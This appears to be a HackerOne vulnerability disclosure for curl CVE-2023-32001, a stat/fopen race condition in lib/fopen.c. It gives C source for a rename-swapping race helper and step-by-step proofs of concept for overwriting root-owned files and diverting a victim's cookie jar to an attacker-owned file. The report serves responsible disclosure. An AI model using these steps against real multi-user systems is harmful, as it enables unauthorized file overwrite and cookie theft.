Lucene search

K
hackeroneSelmelcH1:2039870
HistoryJun 27, 2023 - 7:05 a.m.

curl: CVE-2023-32001: fopen race condition

2023-06-2707:05:59
selmelc
hackerone.com
64
fopen
race condition
curl
file overwrite
sensitive data
vulnerability
exploit

EPSS

0

Percentile

9.0%

As we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ):

  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
    /* a non-regular file, fallback to direct fopen() */
    *fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...

There is a race condition between the moment “stat(filename, &sb)” is executed and the moment " fopen(filename, FOPEN_WRITETEXT);" is executed.
This leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.

###POC/Steps to reproduce:
Before we start, I will be using a little program called “rename”. Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :

#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

Open two terminals, with two different users. One will be the attacker terminal and the other the victim.
In both POCs, the victim will want to execute a command such as “curl --cookie-jar a google.com” thinking the file “a” doesn’t exist.

###A) Exploiting this vulnerability to trick a user to overwrite a file they own:

Assume the current directory of both attacker(selmelc) and victim (root) looks like this

lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b
-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

The attacker executes ./rename a b, which will not stop to swap the name of the directory “b” and the symlink “a”.

The victim executes their command “curl --cookie-jar a google.com”.
The race condition is successfully exploited if in the vulnerable code the stat identifies the file “a” as a directory and then the “fopen” opens the symlink that points to the file “flag”.
If that happened then the results looks like this :

...
-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag
...
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

Additional note:
You might think “well that’s just how symlinks work”… To clarify on that, by default if the victim was executing “curl --cookie-jar a google.com” without the attacker exploiting the vuln. a different behavior would occur ; the file “a” would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.

###B) Exploiting this vulnerability to steal the victim’s cookies and hide it from them:

As this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the “flag” file to be owned by the attacker as following:

lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Normal curl behavior after the victim executed “curl --cookie-jar a google.com” :

-rw------- 1 root    root      131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Behaviour when vulnerability is exploited (and race condition met) :

drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc   131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

We can notice the 131 bytes of output in flag now, which would contain the sensitive cookies.

Impact

An attacker is able to overwrite files they shouldn’t have access to, however the attacker does not control the data sent to those files. (Integrity, potentially availability issues if files likes /etc/passwd are modified through this).
An attacker may also gain access to sensitive data (cookies), and even hide that information from the intended receiver as the attacker may control the file in which this information will be leaked.
Note : cookie storing was used to demonstrate exploits for the vulnerability but the vulnerability also affects HSTS and alt-svc cache.